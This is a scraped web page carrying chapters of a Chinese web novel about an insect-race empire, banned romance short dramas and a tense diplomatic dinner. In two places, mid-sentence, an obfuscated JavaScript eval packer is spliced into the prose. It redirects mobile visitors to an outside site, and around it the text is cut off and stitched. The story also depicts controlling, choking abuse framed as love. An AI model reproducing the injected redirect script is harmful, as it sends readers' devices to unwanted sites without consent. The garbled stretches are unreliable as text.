星河联邦焦头烂额处理危机的同时,哈洛特王国也并不太平。 那部名为《霸道军雌爱上我》的短剧,已经在星网热搜上挂了一个月了! 一片战火中,英勇无畏的小雄子和即便虫化也不忘自身使命的军雌,两人的手指在空中交握。西尔维一个用力,将艾菲尔狠狠拉入了自己的怀抱。 这一幕,在星网热搜第一挂了整整一周。 小雄子眼中毫无对虫化态的嫌弃和恐惧,只有对爱人的心疼,和以身犯险的愤怒。 艾菲尔从那台快报废的机甲转移到了西尔维的机甲中,他的呼吸还没有喘匀,就着急忙慌地想要坐起来,接过雄虫的控制手柄。 不料,对方毫不客气地将他压回了自己的怀抱。 “你还想逞强!”西尔维一边专注地控制方向,避开异种的围攻,一边用一只手牢牢地制住不省心的艾菲尔。 平日里,以西尔维的小身板,是绝对控制不了艾菲尔的。但现在对方受了重伤,只能乖乖靠在他的怀里,任他随意施为。 况且,他还占着理呢。西尔维在心里愤愤地哼了一声,明明出发前说好了要平平安安地回来,结果就让他看到了雌虫差点自爆的场景,他的心跳现在都还没恢复过来呢! 正这么分神想着,靠在他肩头的雌虫突然冷不丁来了句:“你的心跳好快。” 小雄虫差点把机甲开进异种群里,好在艾菲尔眼疾手快地伸出一只手帮他控住了方向。对方丝毫没意识到自己的问题,还无奈地叹了口气道:“还是我来开吧。” “不要,刚才都怪你!我已经私下模拟上百次了,明明开得很稳当,”西尔维脸颊通红,打断了艾菲尔的话,埋怨对方,“要不是因为你乱说话……” “我乱说什么了?”对方悠悠地接上一句。 “你……你!”西尔维憋了半天,发现说不出什么理由来,索性一把捂住雌虫的嘴,以最快的速度把机甲开到了安全地带。 由于艾菲尔已经清理了大量的异种,这场营救并没有特别困难。 刚一落地,西尔维立刻一个公主抱,将艾菲尔送上了等候多时的飞行器。而他自己,却一反平日里粘人的模样,只是站在车前目送雌虫离开。 “不是担心他吗,为什么不跟上去看看?”医护虫问他。 “不用了,”西尔维呼出一口气,活动了一下筋骨,让自己冷静下来,随后迈着大步重新走回了机甲车间,“他受的伤我没法救,就算去也是浪费时间。” “况且,他肯定也更希望我留下来,帮助虫族打赢这场硬仗。”雌虫被送上飞行器时,眼里的肯定和爱慕,让他无比确定自己做出了正确的决定。 熊熊火光之中,向来以柔弱单纯为代名词的雄虫,此刻的背影却异常地伟岸,几乎不输给任何一只雌虫。但画面却没有一直停留在西尔维身上,而是回到了凶险的虫族战场。 此刻,每只浴血奋战的军雌,他们脸上的表情都与西尔维和艾菲尔的坚毅果敢重合,他们都是值得所有人尊敬和爱戴的英雄! 这个价值上升得,令所有虫都大吃一惊,雌虫们习惯了保家卫国,雄虫们习惯了雌虫的保护,没有人觉得这有什么可嘉奖的。 然而,这部短剧竟然传达着“雌虫同样伟大,值得嘉奖和爱护”的价值观,这如何不会引起轩然大波? 果不其然,短剧发布后,立刻引发了热议。 【我看完新的剧集,第一反应是军雌们真的很伟大!小情侣虽然好磕,但我的关注点全放在NPC身上了,这对吗?】 【楼上,我也是。都想等工资发了,给军队送点补给品或者小礼物了……不过,考虑到军雌的贡献,法律法规是不是也应该向他们倾斜一点,不然也太剥削了吧!】 【呵呵,倾斜成什么样?让雌虫和雄虫平起平坐?你疯了我疯了。】 【就算不能平起平坐,好歹也该给一些福利吧!军雌平日里巡防就够累了,根本没时间追求雄虫,最后分配到的雄子大多性格暴虐,动不动就鞭笞责骂,太不公平了!】 【没错,还有之前剧中提到的法律,其实也有保护雌虫的部分,但是大多数雌虫为了不触怒雄子,根本不会使用。】 【楼上发言有点危险啊,你不会真想跟雄子平起平坐吧?搞平权?】 【该讨论楼已被封禁】 就这样,《霸道军雌》在不少雌虫心中都埋下了一根刺,但这根刺显然还不够深,想要真正让雌虫认同,还需要更多产出才行。 因此,应柏桥和秦铮在《霸道军雌》HE,西尔维和艾菲尔互相求婚后,立刻马不停蹄地推出了多部新剧。这次,系统使用他们第一次拍摄的素材,成功制作出了较为活灵活现的人物形象。 这样一来,只要两人挑好剧本,即使不在虫族监工,短剧也会持续不断地放送,给雌虫们传播新的思想。 周一是雌雄双向暗恋的甜蜜校园日常,周二是紧张刺激的双强军旅剧,周三则是call back了《霸道军雌》,上演一出和平年代的轻松职场喜剧…… 就这样,雌虫们的生活几乎被这些丰富多彩,又新奇的情感模式所填满了,应柏桥和秦铮的短剧,特效精美,角色生动,一反往日的自怨自怜设定,完全符合战斗雌虫们隐藏的慕强心理。 这样一来,又如何能不火呢? 就连克兰德,都忍不住在工作的间隙抽空欣赏。无他,这些短剧里描绘的双向奔赴实在太过细腻和美好,简直像极了他和雄主的爱情…… 然而,有一只虫却对此并不满意。 那就是哈洛特王国的虫皇——乔瓦尼·哈洛特。在他看来,这些短剧无异于在鼓动雌虫推翻自己的统治。如果不是因为雄虫数量太少,雌虫又要依靠它们治愈精神力海,恐怕他们早就成了雌虫玩弄的对象。 他目光幽深地看着星网上的这个ID:霸道军雌爱上我剧组,虽然表面端得一副游刃有余的模样,但下一秒说出的话,却暴露了他并不平静的内心。 “通知文化局和首都公安,”乔瓦尼的语气冰冷,那双向来泛着盈盈水光,引得无数雌虫爱怜的眼睛里,不见一分笑意,“把霸道军雌的账号和相关内容全部封禁,包括二创和切片。” “所有吗?”对面愣了愣,几乎没反应过来这是虫皇的旨意。 “对。这些内容中含有大量引战元素,”乔瓦尼察觉到了对面的诧异,又放柔了声音解释道,“和平年代放些这样的内容也无伤大雅,但现在是战后重建阶段,还是要让大家保持平和的心态……” “好、好,我明白了!我现在就去办,陛下!”雌虫立刻被虫皇的睿智和开明打动了,几乎要感动得留下眼泪。虫皇陛下一直都在为雌虫考虑,是最温柔的陛下啊! 而这边,乔瓦尼刚放下电话,房间门就被推开了。 “你要下架那部短剧?为什么。”克兰德可不像电话那头的雌虫那么傻,听不出这只是乔瓦尼的托辞。他的雄主向来尊重雌虫,甚至是个隐性的“平权战士”,没道理排斥霸道军雌。 克兰德快步走到乔瓦尼身边,对方正躺在柔软的床榻上。很显然,昨夜的欢爱让他的身体有些吃不消,脖颈上满是雌虫热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171799|196838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情的吻痕。 注意到对方身上的痕迹,克兰德并没有立刻上前坐到床边,而是小狗般望向雄虫,询问他的意见。 很快,一条精神力丝就套在了他的脖子上,雌虫的呼吸立刻变得粗重了起来,丝线缠绕住他的脖子,勒得他有点喘不过气,但克兰德只感到兴奋,因为这是来自雄虫的“宠爱”。 膝盖情不自禁地跪在了地上,雄虫的精神力非但没有抚慰他,反而在源源不断地汲取他的精神力,再施加给他压力和痛苦。 然而,克兰德却感到无比的幸福,能量从他身上流淌到雄主身上,再由雄主施加给他,无论是什么都好,这样“亲密”的循环,让他感到欢欣和愉悦。 恍惚间,他朝着乔瓦尼的方向跪着挪动了过去。没错,几乎每次和乔瓦尼相处时,他都会陷入恍惚的状态。雌虫以为,这是因为自己太过幸福,以至于觉得虚幻和不真实。 就在这时,他听见乔瓦尼语调轻柔地问他:“你刚才想问什么?” 唔……是想问什么来着?克兰德张了张嘴,但一个字都没说出来,只能发出“喀喀”的呻吟,乔瓦尼的丝线勒得太死,让他很难说出话。 即使,他只要用一根小拇指,就能将这脆弱的丝线轻而易举地挑断。 看来是雄主不想让自己说,那还是不问了吧……克兰德这么想着,将头颅垂在了乔瓦尼的膝盖上,对方微微一笑,总算向他释放了安抚精神力。 但克兰德的短暂服从,并不代表着雌虫网友们的态度。事实上,由于他们并不知晓禁止令的发布者,现在正破口大骂。得亏乔瓦尼是穿越来的地球人,否则他的雄父和雌父都得在天上飞。 由于不满的评论太多,网警删都删不完,干脆也摆烂了,让这些议论在网上愈演愈烈。没错,因为网警自己也是雌虫,同样是霸道军雌的狂热粉丝。 “看来,目前的情况很适合我们实施下一步计划啊。”应柏桥刷了刷星网论坛,笑着看向秦铮。 “嗯。”秦铮望着眼前的军部大楼,“克兰德刚刚结束早会,应该在办公室。” 他抬头看了眼应柏桥,有几分犹豫,但最终还是伸出了手,主动握住了对方的:“是这样做吗?” 对方的手掌比他大一些,虽然很不习惯和别人亲密接粗,但秦铮不得不承认,和应柏桥牵手让他有种莫名的安心感。 “是的,”对方的声音里满含笑意,“麻烦铮铮包涵一下了,计划需要。”他轻轻捏了一下对方的无名指,像是在说计划顺利,又像是一个单纯的亲昵表示。 “可以理解。”秦铮尽力保持声调的稳定和冷静,他迈开步子直奔军部大门口的值班室,“那走吧。” “您好,我和我的雄主想见克兰德元帅。”和军雌对话时,他已经完全恢复了任务的状态,甚至还像军雌展示了一下交握的两只手,生怕对方怀疑自己和应柏桥的关系。 “有雄虫来见我?”克兰德皱起了眉,“我没有认识的雄虫。” 但下一秒,听见警卫处的传话后,他眼神一变:“让他们进来吧,不必做安全检查了。” 五分钟后,克兰德、应柏桥和秦铮分坐在元帅办公室的桌几两侧。克兰德的语气如二人所想,的确冷漠而又疏离。完全看不出他是给霸道军雌打赏到榜十,追到官方私信询问追夫火葬场的金主。 “如果你们是来问禁止令的事,那还是回去吧,恕我不奉陪。”雌虫翘起了一条腿,出于身高优势,居高临下地看着两人。 “不,我们只是想在临走前,调查您对短剧的满意度。”应柏桥笑眯眯地回答。 18. 虫族线:帮帮我们元帅大人 “如您所见,我们已经被全平台封禁了,因此也不打算再待在虫族发展。“应柏桥的眼里闪过一丝落寞,那怅然的模样立刻让克兰德脑海里出现了一个人——《霸道军雌爱上我》里的小雄子西尔维! “你是西尔维的扮演者?”他打断对方的话。 琥珀色的眼睛亮了一下,但那光芒很快就熄灭了,应柏桥垂下头,戴着婚戒的左手轻轻抚过雌虫伴侣的手背。 “没错,您真是好眼力,”他苦笑了一声,“我和我的伴侣,就是霸道军雌里的主角。” “不过这不重要了,”他避开了这个话头,打断克兰德想要追问的话,“如果您对这部短剧还算满意的话,希望您可以和我们说说感想,我们明天就打算离开首都,另寻出路了。” 克兰德修剪锋利的眉毛蹙起,几乎没有人敢在他面前打断他的话,这只雄虫倒是大胆…… 然而,另一边冰冷的视线让他下一秒的动作短暂停了下来。 是这只雄虫的雌虫伴侣。 此刻,察觉到克兰德情绪的他,正如同猎食的螳螂一般,似乎自己只要对他的雄主动手,对方就会伸出自己大而锋利的钳子,将他的手腕砍落。 但克兰德可不是会任由小喽啰威慑的人。 因此,他将头转向秦铮那边,眼神里带着冰冷的审视和轻蔑:“你想要做什么,冒犯的雌虫。”精神力在他的手中凝成一团实体,朝着应柏桥的方向要动未动,“怕我伤害你的雄主?” “你敢!”秦铮一个暴起,飞扑上前,那架势像是要把克兰德的头直接拧掉。克兰德眼疾手快地甩出精神力鞭,“唰”地一声朝雌虫飞去,要给对方一个教训。 然而,那只不怕死的雄虫竟然硬生生将雌虫伴侣压回了沙发上,挨下了这一鞭! 金色的瞳孔微缩。在鞭梢碰到应柏桥后背的前一秒,他翻转了下手腕,将鞭子收了回来。毕竟在虫族,即使是元帅,打伤雄虫也是要坐牢的。 “雄主!”秦铮撕心裂肺地喊出了声,眼里满是焦急与愧疚,他迅速而又轻柔地给应柏桥翻过身,检查他的伤处。 应柏桥却安抚地握住他的手,笑着安慰道:“没事的,好心的元帅大人并没有打到我,只是想给我的无礼一个教训罢了。” 雄虫短短一句话,既平复了雌虫的情绪,又将被打的原因揽到了自己身上。饶是脑袋一根筋的克兰德,都看出了他对伴侣有多么地细心和疼爱。 “简直就像雄主对待自己一样……”克兰德放下了翘起的腿,坐直了身体,“只不过,自己才不会这么废物,要雄主帮忙挡伤。” 不成想,那头重新坐好,恢复仪态的雄虫如同看穿他的想法一般,笑着对他说:“抱歉,让您见笑了。您可能不赞同,但在我们看来,互相为彼此付出才是正确的爱情观。” 他含情脉脉地与伴侣对视了一眼:“就像刚才,他因为您打算惩罚我而生气,我又想要帮他挡伤。这些都是很正常的相互付出。只一方的付出,我们看不上。” 克兰德再次被他怼得说不出话,他想了半天,甚至用上了从“长毛怪”那学来的阴阳怪气,这才勉强说出几句嘲讽的话语。 “呵,怪不得你们要离开,这儿确实容不下你们这样的异类,”他挖苦道,“无法保护雄虫的雌虫就是废物。” 但下一秒,对方的话又让他愣住了。 “嗯,对。”应柏桥平静地回答,“不过,无法保护雌虫的雄虫也是废物。” “元帅大人,您自己也有伴侣,应当知道雄虫们的精神力有多么珍贵和特殊。但现在,有多少的精神力由于当前雄尊雌卑,骄纵雄虫的制度,而被浪费的?” 金发雌虫明显迟疑了一下,但很快沉下声音:“陛下登基后,一直致力于解决这类问题,你是在对陛下不满?” “不,您误会了。”黑发雄虫摇了摇头,眼神坚定,“相反,我们很支持陛下的平权观念,因此我们想要为陛下的新业助一份力。” “这些短剧就是我们献给陛下的礼物。”看见金色的眸子颤了颤,应柏桥不着痕迹地勾起了一抹微笑。 “陛下的政策虽然好,但由于其本人太过善良和无私,”应柏桥昧著良心瞎说,“政策的推进一直较为缓慢。我们希望能够帮陛下扮演这个唱黑脸的角色,早日实现平权。” 他直视克兰德眼睛:“您平时也会看我们的评论区吧,已经有很多雌虫开始觉醒,为自己的职业感到骄傲,甚至开始争取自己的权益了。” 克兰德再次哑口无言,他已经不记得这是今晚第多少次说不出话了,但和与长毛怪辩论时不同,他并没有感到憋闷和愤怒,而是有种隐隐的钝痛。 他该怎么告诉这只踌躇满志的雄虫,他们的短剧就是他所景仰的乔瓦尼封禁的?甚至,他自己都不知道原因。 然而,正当克兰德纠结之时,应柏桥给予了他最后一击。 “不瞒您说,”雄虫的讲演似乎到了尾声,他举起和伴侣十指相扣的手,露出了一点羞涩的表情,“霸道军雌的故事,其实是真人真事……” “什么?”克兰德脱口而出。 “没错,这其实就是我和我雌君的故事,”雄虫满脸的笑容,说到雌君,他又重新变得开朗了起来。确实和西尔维很相似,“是我追的他。” “您也看到了,他不爱说话,很高冷……如果不是我主动出击,又怎么可能赢得他的心呢?”他笑嘻嘻地分享自己的经历。 “我哪有那么难追,只要是你,我一定会爱上的。”雌虫满是宠溺和无奈,捏了捏雄虫的手指,一个小动作说尽了爱意。 克兰德坐在他们对面,恍惚间,仿佛又看了一集真人版的《霸道军雌》。 不过,小雄虫很快又低落了下来:“本来想着帮陛下的平权事业添砖加瓦,顺带还能分享自己和伴侣的故事,没想到被下架了……” “元帅大人,”他抬起头,眼里几乎泛起了水光,如同落水的小狗那般楚楚可怜,“真的没有斡旋的余地了吗?” 两只虫相互依偎的场景太过美好,以致于克兰德破天荒产生了类似于“心软”的情绪,但表情和说出的话还是一如既往的冷漠和不近人情。 “我只能说,会尽力帮你争取,但不要抱太大希望。”他站起身送客,“不过,你们可以暂时取消明天的行程了。” 不出一星期,《霸道军雌》强势回归星网。这次,制作组改名为“纯爱战士永不言败”。 乔瓦尼连夜取消了和哈洛特集团总经理两兄弟的“午夜短会”,赶回了皇宫宅邸。 他一进门,就看到克兰德姿势端正地跪在自己面前,身侧放着他用自己的精神力凝结成的鞭子,和各式各样的武器。显然是领罚的姿态。 “我从蒙特兄弟那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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痛感倏然消失了,乔瓦尼收回了脚,对着克兰德露出一个让他曾经如痴如狂的微笑:“因为他们不在我的计划范围内,就这么简单。” 随后,还没等雌虫追问,他就补充了一句:“这是对你的惩罚,现在满意了吗?” 银色的长发垂下,克兰德忍不住凑上前去亲吻:“满意了……阁下。”他直起身,不顾身下的伤势,将雄虫轻轻抱起,走回了卧房。 考虑到克兰德今天表现不佳,乔瓦尼并没有与之欢好。他纤长的手指轻轻推开克兰德的怀抱,靠在柔软的枕头上,点开了“纯爱战士”的空间,轻轻叹了口气:“我明白你想要帮我,但他们的想法太过激进,并不适合我国的国情……” “明白了吗?”一双含情目似嗔非嗔看向克兰德。 但这一次,克兰德竟没有被他诱惑到,而是盯着那些“追夫”,“觉醒”的视频,喃喃开口:“那雄主,您同意他们的观点吗?关于纯爱。” 乔瓦尼眉头一挑,他直觉枕边人有些不对劲,但懒得细究。毕竟克兰德是那么忠诚而又耿直:“他们有我们纯爱吗?” 不成想,在他的背后,雌虫张了张口,犹豫了几秒才回答:“嗯,没有。”但他眼神里的犹疑做不得假。 “那不就好了,睡吧亲爱的。”乔瓦尼舒舒服服地找了个位置,像一只养尊处优的白猫一样,惬意地睡下了。 他感觉到身后的雌虫轻轻关灭了灯,然后抱住他,温热的呼吸吹拂在他的后颈,充满了怜惜和珍爱。 在这样安宁的氛围中,雄虫再次睁开了眼,冷漠而又疏离:“怎么可能这么容易就放过克兰德,养不熟的狗需要多加训诫才是。” 和寝宫的宁静不同,虫族星网已经为“纯爱战士”的复出吵翻了天。 19. 虫族线:与联邦的会晤 【有没有懂行的家虫们说一下,纯爱战士的短剧反反复复被封,是为什么啊?我嗅到一股阴谋论的味道……】 【之前下架是因为和虫皇陛下的宣传语撞了,那这次彻底封禁呢?总感觉是有人故意在搞剧组啊!】 【同意楼上,像是不把剧组“干掉”就不罢休……但为什么,这不就是个普通的纯爱小短剧吗?】 星网上,雌虫们讨论得热火朝天,群情激愤,他们无法理解,一个“平平无奇”的短剧剧组,为什么也能被下架。 一群人讨论出最有可能的原因,居然是上级高层不满剧组更新太慢,因此封禁剧组以示惩戒。 然而,正当雌虫们抱着这个结果满意地准备下线时,一条新的评论又把他们炸了回来。 【但是联想到陛下的新剧和《霸道军雌》撞档期,还被《霸道军雌》抢了风头,很难不怀疑是上头有人为了讨好虫皇陛下……】 【卧槽……】 【感觉有点道理……】 【虫皇陛下不管管吗?】 【楼上的,虫皇陛下日理万机,哪有空管这个?】 【但这种行为也太恶劣了,好不容易来点新鲜的剧!可恶啊啊啊干脆网友们联名给陛下写信吧!这件事如果传出去,对陛下的名声也不好啊!】 手指敲下了最后一个感叹号,点击发送。 冷静的双眼看着评论区刷过的一条条激动的文字,雌虫们如醍醐灌顶一般,对他的提议纷纷响应。不出一小时,就有网友发帖征集大家的联名了。 秦铮关闭了星网论坛,闭上眼默默盘算下一步可能的发展。 雌虫们联名上书,请求虫皇彻查可能存在的阴险之徒,但他们并不知道,自己爱戴追捧的乔瓦尼陛下,就是封禁事件的罪魁祸首。 他睁开眼睛,眼神一片清明。应柏桥正坐在他对面,看着联邦新闻,硕大的“虫皇携伴侣访问星河联邦”字样,印在头版标题。 看来,在接受“热心民众”的来信之前,乔瓦尼还有新的挑战。 饶是至今为止几乎不多发表评论的秦铮,眉眼间都不禁生出了几分期待: 这两对“训狗”夫夫凑到一起,想必能碰撞出很“有趣”的东西吧? “啧,小男娘。”里尔身着联邦最高规格的礼服,站在停机坪前,面带微笑地吐槽了一句。 “看样子,星河联邦的总统是个头脑简单,四肢发达的草包,”乔瓦尼靠在舷窗前,漫不经心地注视着迎宾的里尔和诺尔曼说道。 “不过,”他的目光一转,落在了扎着利落的高马尾,面容精致不似真人的诺尔曼身上,对方的眼神让他莫名产生了一种危机感,“那个副总统看起来倒是不凡。” 他头也不回地询问身旁坐姿笔直的伴侣:“克兰德,你和诺尔曼副总统相处了很长一段时间,你觉得他是个怎样的人?” “擅长阴阳怪气的阴险小人。”金发雌虫冷冷地给出了这个评价。 难得自己的伴侣对其他人展露如此激烈的情绪,乔瓦尼却像是没有注意到似的,只“唔”了一声,便继续沉浸在自己的思路中了。 联邦和虫族的所有记者,都将摄像头对准了这个代表着两国和平交往的历史性时刻,在场的人们或是欣喜,或是担忧。 然而,处于话题中心,表面热情寒暄的四人,却远没有人们想象中那么和谐。 为了表示对虫皇夫夫的欢迎,里尔特地在总统府中设宴,款待远道而来的二人,并且屏退了所有记者和下属,只保留了几个嘴严的侍从。 四人刚刚落座,克兰德便顺手将乔瓦尼面前的餐盘和刀叉移到了自己面前,挨个检查起来。 里尔见状不爽地开口:“克兰德元帅,您这是什么意思?信不过我们联邦?” 但还没等克兰德回应,乔瓦尼就先用检查好的酒杯浅酌了一口新酿的红酒,姿态极尽优雅:“造成您的不满,我对此十分抱歉,里尔总统。但出门在外,留个心眼总是好的。” 里尔一时被噎住,想说些什么狠话,但考虑到对面是高贵的一国之主,也不好多说什么,只能把矛头对准了检查完杯具,又细致摆回乔瓦尼面前的克兰德。 对方的金发背头梳得一丝不苟,衣着也严谨得体。不同于伴侣的龟毛事多,他倒是不“嫌弃”餐具,直接拿起刀叉用了起来。 这下,就让里尔找到了嘲讽的机会。 “虽然我们四人齐聚是第一次,但在前期磋商也交流了很久,彼此多少能算作朋友了。”里尔假装没看见乔瓦尼眼中的嘲讽,端起酒杯往下说。 他站起身,越过虫皇,直接朝克兰德的方向敬了一杯:“克兰德元帅,我敬您一杯,您对伴侣无微不至的照顾,和对自己的不拘小节,实在让我佩服。” 雌虫帮乔瓦尼切牛排的手一顿,下一秒,锐利的目光就刺向了里尔,吓得对方端酒杯的手一哆嗦。 里尔勉强维持着笑意:“怎么,元帅是不屑于给我面子吗?” “克兰德向来听我的话行事,从不会听从他人的指令。”银发雄虫晃了晃高脚杯,嘴角带着一抹漫不经心的笑意,看都不看里尔一眼。 “如果总统阁下对我们的相处模式不满,不妨看看您的伴侣?”他举起酒杯,遥遥地冲诺尔曼举了起来,“我看副总统阁下对您的照顾,也是不遑多让啊。” 三人的目光都落在了诺尔曼身上,对方正专心致志地剥着上周刚从极地运来的冰海龙虾,此虾肉质鲜美,但极其难剥,向来是贵族晚宴上又爱又恨的菜品。 洁白的骨瓷餐盘上,晶莹剔透的虾肉被整只剔出,几乎有整个盘子那么大。诺尔曼极其自然地将装满虾肉的餐盘和里尔的餐盘调换了位置。 随后,用侍从递上来的手帕擦拭了白皙的手指,这才抬头看向几人,微微一笑:“抱歉,刚才忙着给伴侣剥虾。你们聊到哪了?” 里尔看着满盘子的莹白虾肉,有气也没处发,只能憋闷地坐了下来,当作无事发生。 但他怎么可能咽下这口气,身为总统有些话说不了,但可以让诺尔曼说嘛!于是,他狠狠在诺尔曼今早刚擦拭干净的皮鞋上踩了一脚,示意对方帮自己说话。 刚剥完虾,又开始切牛肉的刀叉一顿,诺尔曼立刻明白了里尔的意思,但对方的表达方式让他产生了一点微妙的不快。 然而,这一点不适的情感,始终比不上他对里尔的无条件纵容,因此诺尔曼放下刀叉,开口回应:“里尔向来心直口快,还请二位见谅。” 酒杯举起,他站 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因此,一方面为了回应里尔的暗示,另一方面也为了“活跃”雌虫的心情,他一边低头切着盘子里的牛排,一边漫不经心地说道:“乔瓦尼陛下,有件事我很好奇,在虫族,一只雄虫真的可以与多位雌虫暧昧吗?” 话音刚落,他就感受到熟悉的杀意落在了自己身上。 这次,没等乔瓦尼开口,克兰德率先“当啷”一声不轻不重地放下了餐具,语气里的警告意味几乎藏都藏不住:“在晚餐时聊些无关的话题,就是你们人类的礼仪吗?副总统阁下。” 诺尔曼忍俊不禁,若不是他向来擅长表情管理,此刻肯定要笑出声来。 顾不上管一旁里尔发出的得意笑声,诺尔曼不紧不慢地回应克兰德:“只不过是闲聊罢了,克兰德阁下,不要那么严肃。” 他含笑望向雌虫,目光不闪不避:“毕竟,就像总统阁下说的,我们是朋友,不是吗?” “做梦”二字几乎就要从克兰德的齿缝间蹦出来了,在诺尔曼的视角下,雌虫紧咬着嘴唇,忍气吞声地都快把嘴唇咬出血了。他这下笑了笑,没有再继续逗对方:“克兰德元帅与虫皇陛下佳偶天成,实在是羡慕二位的感情。刚才的话是我唐突了,我道歉。” 本以为一场插曲就这么过去了,谁成想,乔瓦尼放下刀叉,轻轻擦了擦嘴角,轻笑了一声:“副总统阁下很羡慕?” 话语里的挑衅之意不言而喻。 “每对伴侣都有不同的相处模式,您不是也羡慕我和里尔么。”诺尔曼平静地回应。 一旁自认为胜了一筹的里尔幸灾乐祸地插嘴:“羡慕的话,虫皇陛下也可以学学我们。” “里尔阁下先是吃了整盘的虾,又吃了一整块厚切牛排,居然还有精力说话?”他话音未落,克兰德就冷冰冰地刺了回去。 一个小小的元帅也敢和我叫板!里尔忍了一晚上的怒火“蹭”地烧了起来。他几乎要把酒杯捏碎,咬牙切齿地回复:“我毕竟是军人出身,吃得多也很正常,比不得虫皇陛下金枝玉叶。” 不过,军人?他被愤怒冲昏的头脑里突然想出了一个绝妙的报复计划。 于是,再次笑眯眯地举杯,就像从未发生过刚才的事一样:“说到军人,我曾经和克兰德元帅倒是同行呢。” “不如,我们来比比?”